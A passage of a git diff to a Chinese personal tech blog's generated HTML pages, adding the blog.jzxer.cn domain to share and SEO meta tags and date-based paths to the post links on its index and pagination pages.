-                <a class="index_share-link" href="http://service.weibo.com/share/share.php?appkey=&title=Jzxer&#39;s Blog&url=&pic=/img/favicon.ico&searchPic=false&style=simple" target="_blank">
+                <a class="index_share-link" href="http://service.weibo.com/share/share.php?appkey=&title=Jzxer&#39;s Blog&url=blog.jzxer.cn&pic=blog.jzxer.cn/img/favicon.ico&searchPic=false&style=simple" target="_blank">
                     <li class="mdl-menu__item mdl-js-ripple-effect">
                         分享到微博
                     </li>
@@ -433,7 +433,7 @@
             
 
             
-                <a class="index_share-link" href="https://twitter.com/intent/tweet?text=Jzxer&#39;s Blog&url=&via=Jzxer" target="_blank">
+                <a class="index_share-link" href="https://twitter.com/intent/tweet?text=Jzxer&#39;s Blog&url=blog.jzxer.cn&via=Jzxer" target="_blank">
                     <li class="mdl-menu__item mdl-js-ripple-effect">
                         分享到 Twitter
                     </li>
@@ -441,7 +441,7 @@
             
 
             
-                <a class="index_share-link" href="https://www.facebook.com/sharer/sharer.php?u=" target="_blank">
+                <a class="index_share-link" href="https://www.facebook.com/sharer/sharer.php?u=blog.jzxer.cn" target="_blank">
                     <li class="mdl-menu__item mdl-js-ripple-effect">
                         分享到 Facebook
                     </li>
@@ -449,7 +449,7 @@
             
 
             
-                <a class="index_share-link" href="https://plus.google.com/share?url=" target="_blank">
+                <a class="index_share-link" href="https://plus.google.com/share?url=blog.jzxer.cn" target="_blank">
                     <li class="mdl-menu__item mdl-js-ripple-effect">
                         分享到 Google+
                     </li>
@@ -457,7 +457,7 @@
             
 
             
-                <a class="index_share-link" href="https://www.linkedin.com/shareArticle?mini=true&url=&title=Jzxer&#39;s Blog" target="_blank">
+                <a class="index_share-link" href="https://www.linkedin.com/shareArticle?mini=true&url=blog.jzxer.cn&title=Jzxer&#39;s Blog" target="_blank">
                     <li class="mdl-menu__item mdl-js-ripple-effect">
                         分享到 LinkedIn
                     </li>
@@ -465,7 +465,7 @@
             
 
             
-                <a class="post_share-link" href="http://connect.qq.com/widget/shareqq/index.html?site=Jzxer&#39;s Blog&title=Jzxer&#39;s Blog&summary=web全栈工程师,摇滚,vue,vuex,react,webpack,git,koa2&pics=/img/favicon.ico&url=" target="_blank">
+                <a class="post_share-link" href="http://connect.qq.com/widget/shareqq/index.html?site=Jzxer&#39;s Blog&title=Jzxer&#39;s Blog&summary=web全栈工程师,摇滚,vue,vuex,react,webpack,git,koa2&pics=blog.jzxer.cn/img/favicon.ico&url=blog.jzxer.cn" target="_blank">
                     <li class="mdl-menu__item">
                         分享到 QQ
                     </li>
@@ -496,7 +496,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -506,7 +506,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -555,7 +555,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -565,7 +565,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/cookie和session.html">cookie和session</a></p>
+        <p class="article-headline-p"><a href="/2018/04/26/cookie和session.html">cookie和session</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/cookie和session.html" target="_self">阅读全文</a>
+            <a href="/2018/04/26/cookie和session.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -681,7 +681,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/线上部署：heroku.html">线上部署：heroku</a></p>
+        <p class="article-headline-p"><a href="/2018/04/26/线上部署：heroku.html">线上部署：heroku</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -691,7 +691,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/线上部署：heroku.html" target="_self">阅读全文</a>
+            <a href="/2018/04/26/线上部署：heroku.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -742,7 +742,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/nginx配置和问题处理.html">nginx配置和问题处理</a></p>
+        <p class="article-headline-p"><a href="/2018/04/26/nginx配置和问题处理.html">nginx配置和问题处理</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -752,7 +752,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/nginx配置和问题处理.html" target="_self">阅读全文</a>
+            <a href="/2018/04/26/nginx配置和问题处理.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -803,7 +803,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/nodeJS性能处理一.html">nodeJS性能处理（一）</a></p>
+        <p class="article-headline-p"><a href="/2018/04/25/nodeJS性能处理一.html">nodeJS性能处理（一）</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -813,7 +813,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/nodeJS性能处理一.html" target="_self">阅读全文</a>
+            <a href="/2018/04/25/nodeJS性能处理一.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -864,7 +864,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/node连接阿里云redis.html">node连接阿里云redis</a></p>
+        <p class="article-headline-p"><a href="/2018/04/24/node连接阿里云redis.html">node连接阿里云redis</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -874,7 +874,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/node连接阿里云redis.html" target="_self">阅读全文</a>
+            <a href="/2018/04/24/node连接阿里云redis.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -925,7 +925,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/学生思维.html">学生思维</a></p>
+        <p class="article-headline-p"><a href="/2018/04/10/学生思维.html">学生思维</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -935,7 +935,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/学生思维.html" target="_self">阅读全文</a>
+            <a href="/2018/04/10/学生思维.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -986,7 +986,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/Travis-CI-实现自动化部署.html">Travis CI 实现自动化部署</a></p>
+        <p class="article-headline-p"><a href="/2018/04/09/Travis-CI-实现自动化部署.html">Travis CI 实现自动化部署</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -996,7 +996,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/Travis-CI-实现自动化部署.html" target="_self">阅读全文</a>
+            <a href="/2018/04/09/Travis-CI-实现自动化部署.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -1042,7 +1042,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/正则表达式.html">正则表达式</a></p>
+        <p class="article-headline-p"><a href="/2018/04/04/正则表达式.html">正则表达式</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -1052,7 +1052,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/正则表达式.html" target="_self">阅读全文</a>
+            <a href="/2018/04/04/正则表达式.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -1105,7 +1105,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/js常见的九种设计模式.html">js常见的九种设计模式</a></p>
+        <p class="article-headline-p"><a href="/2018/03/09/js常见的九种设计模式.html">js常见的九种设计模式</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -1115,7 +1115,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/js常见的九种设计模式.html" target="_self">阅读全文</a>
+            <a href="/2018/03/09/js常见的九种设计模式.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/links/index.html b/public/links/index.html
index d9ec289..c9815c5 100644
--- a/public/links/index.html
+++ b/public/links/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/links/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/links/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/links/">
+    <meta property="og:url" content="blog.jzxer.cn/links/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="links | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/links/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/links/index.html" />
     
 
     <!-- Structured-data for SEO -->
diff --git a/public/page/2/index.html b/public/page/2/index.html
index 3ccc622..a12e149 100644
--- a/public/page/2/index.html
+++ b/public/page/2/index.html
@@ -212,7 +212,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/page/2/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/page/2/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -227,7 +227,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/page/2/">
+    <meta property="og:url" content="blog.jzxer.cn/page/2/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -241,7 +241,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/page/2/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/page/2/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -311,7 +311,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -321,7 +321,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -370,7 +370,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -380,7 +380,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -435,7 +435,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/redis环境搭建.html">redis环境搭建</a></p>
+        <p class="article-headline-p"><a href="/2018/03/07/redis环境搭建.html">redis环境搭建</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -445,7 +445,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/redis环境搭建.html" target="_self">阅读全文</a>
+            <a href="/2018/03/07/redis环境搭建.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -496,7 +496,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/你的一生，究竟为什么而活.html">你的一生，究竟为什么而活</a></p>
+        <p class="article-headline-p"><a href="/2018/02/11/你的一生，究竟为什么而活.html">你的一生，究竟为什么而活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -506,7 +506,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/你的一生，究竟为什么而活.html" target="_self">阅读全文</a>
+            <a href="/2018/02/11/你的一生，究竟为什么而活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -557,7 +557,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/JS常见的十大错误.html">JS常见的十大错误</a></p>
+        <p class="article-headline-p"><a href="/2018/02/07/JS常见的十大错误.html">JS常见的十大错误</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -567,7 +567,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/JS常见的十大错误.html" target="_self">阅读全文</a>
+            <a href="/2018/02/07/JS常见的十大错误.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -618,7 +618,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/深入浅出-Ajax.html">深入浅出 Ajax</a></p>
+        <p class="article-headline-p"><a href="/2018/01/31/深入浅出-Ajax.html">深入浅出 Ajax</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -628,7 +628,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/深入浅出-Ajax.html" target="_self">阅读全文</a>
+            <a href="/2018/01/31/深入浅出-Ajax.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -674,7 +674,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何理解yield和-函数.html">如何理解yield和*函数</a></p>
+        <p class="article-headline-p"><a href="/2018/01/30/如何理解yield和-函数.html">如何理解yield和*函数</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -684,7 +684,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何理解yield和-函数.html" target="_self">阅读全文</a>
+            <a href="/2018/01/30/如何理解yield和-函数.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -735,7 +735,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我所追求的狼性.html">我所追求的狼性</a></p>
+        <p class="article-headline-p"><a href="/2018/01/28/我所追求的狼性.html">我所追求的狼性</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -745,7 +745,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我所追求的狼性.html" target="_self">阅读全文</a>
+            <a href="/2018/01/28/我所追求的狼性.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -796,7 +796,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端安全.html">前端安全</a></p>
+        <p class="article-headline-p"><a href="/2018/01/25/前端安全.html">前端安全</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -806,7 +806,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端安全.html" target="_self">阅读全文</a>
+            <a href="/2018/01/25/前端安全.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -857,7 +857,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/用vue撸一个二手商城.html">用vue撸一个二手商城</a></p>
+        <p class="article-headline-p"><a href="/2018/01/22/用vue撸一个二手商城.html">用vue撸一个二手商城</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -867,7 +867,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/用vue撸一个二手商城.html" target="_self">阅读全文</a>
+            <a href="/2018/01/22/用vue撸一个二手商城.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -918,7 +918,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/PWA初窥.html">PWA初窥</a></p>
+        <p class="article-headline-p"><a href="/2018/01/20/PWA初窥.html">PWA初窥</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -928,7 +928,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/PWA初窥.html" target="_self">阅读全文</a>
+            <a href="/2018/01/20/PWA初窥.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -979,7 +979,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html">ubuntu下搭建一个nodejs+nginx+mongodb服务器</a></p>
+        <p class="article-headline-p"><a href="/2017/12/27/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html">ubuntu下搭建一个nodejs+nginx+mongodb服务器</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -989,7 +989,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html" target="_self">阅读全文</a>
+            <a href="/2017/12/27/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/page/3/index.html b/public/page/3/index.html
index a05cbb9..482d269 100644
--- a/public/page/3/index.html
+++ b/public/page/3/index.html
@@ -212,7 +212,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/page/3/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/page/3/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -227,7 +227,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/page/3/">
+    <meta property="og:url" content="blog.jzxer.cn/page/3/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -241,7 +241,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/page/3/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/page/3/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -311,7 +311,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -321,7 +321,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -370,7 +370,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -380,7 +380,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -435,7 +435,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vscode-配置插件推荐.html">vscode 配置插件推荐</a></p>
+        <p class="article-headline-p"><a href="/2017/12/26/vscode-配置插件推荐.html">vscode 配置插件推荐</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -445,7 +445,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vscode-配置插件推荐.html" target="_self">阅读全文</a>
+            <a href="/2017/12/26/vscode-配置插件推荐.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -496,7 +496,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/learn-express.html">learn express</a></p>
+        <p class="article-headline-p"><a href="/2017/12/20/learn-express.html">learn express</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -506,7 +506,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/learn-express.html" target="_self">阅读全文</a>
+            <a href="/2017/12/20/learn-express.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -557,7 +557,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/urlMaker.html">urlMaker</a></p>
+        <p class="article-headline-p"><a href="/2017/12/18/urlMaker.html">urlMaker</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -567,7 +567,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/urlMaker.html" target="_self">阅读全文</a>
+            <a href="/2017/12/18/urlMaker.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -618,7 +618,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我个人的coding风格.html">我个人的coding风格</a></p>
+        <p class="article-headline-p"><a href="/2017/11/26/我个人的coding风格.html">我个人的coding风格</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -628,7 +628,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我个人的coding风格.html" target="_self">阅读全文</a>
+            <a href="/2017/11/26/我个人的coding风格.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -679,7 +679,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/常见的兼容性问题.html">常见的兼容性问题</a></p>
+        <p class="article-headline-p"><a href="/2017/10/22/常见的兼容性问题.html">常见的兼容性问题</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -689,7 +689,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/常见的兼容性问题.html" target="_self">阅读全文</a>
+            <a href="/2017/10/22/常见的兼容性问题.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -740,7 +740,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/js中的一些方法和函数.html">js中的一些方法和函数</a></p>
+        <p class="article-headline-p"><a href="/2017/10/22/js中的一些方法和函数.html">js中的一些方法和函数</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -750,7 +750,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/js中的一些方法和函数.html" target="_self">阅读全文</a>
+            <a href="/2017/10/22/js中的一些方法和函数.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -801,7 +801,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/董思阳的忠告.html">董思阳的忠告</a></p>
+        <p class="article-headline-p"><a href="/2017/10/19/董思阳的忠告.html">董思阳的忠告</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -811,7 +811,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/董思阳的忠告.html" target="_self">阅读全文</a>
+            <a href="/2017/10/19/董思阳的忠告.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -862,7 +862,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/hybird.html">hybird</a></p>
+        <p class="article-headline-p"><a href="/2017/10/11/hybird.html">hybird</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -872,7 +872,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/hybird.html" target="_self">阅读全文</a>
+            <a href="/2017/10/11/hybird.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -923,7 +923,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端面试题.html">前端面试题</a></p>
+        <p class="article-headline-p"><a href="/2017/09/18/前端面试题.html">前端面试题</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -933,7 +933,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端面试题.html" target="_self">阅读全文</a>
+            <a href="/2017/09/18/前端面试题.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -984,7 +984,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/simpleCountry.html">simpleCountry</a></p>
+        <p class="article-headline-p"><a href="/2017/09/14/simpleCountry.html">simpleCountry</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -994,7 +994,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/simpleCountry.html" target="_self">阅读全文</a>
+            <a href="/2017/09/14/simpleCountry.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/page/4/index.html b/public/page/4/index.html
index 27f15a3..f4ab810 100644
--- a/public/page/4/index.html
+++ b/public/page/4/index.html
@@ -212,7 +212,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/page/4/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/page/4/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -227,7 +227,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/page/4/">
+    <meta property="og:url" content="blog.jzxer.cn/page/4/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -241,7 +241,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/page/4/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/page/4/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -311,7 +311,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -321,7 +321,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -370,7 +370,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -380,7 +380,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -435,7 +435,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/learn-koa.html">learn-koa</a></p>
+        <p class="article-headline-p"><a href="/2017/09/06/learn-koa.html">learn-koa</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -445,7 +445,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/learn-koa.html" target="_self">阅读全文</a>
+            <a href="/2017/09/06/learn-koa.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -496,7 +496,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何成为一名合格的CEO.html">如何成为一名合格的CEO</a></p>
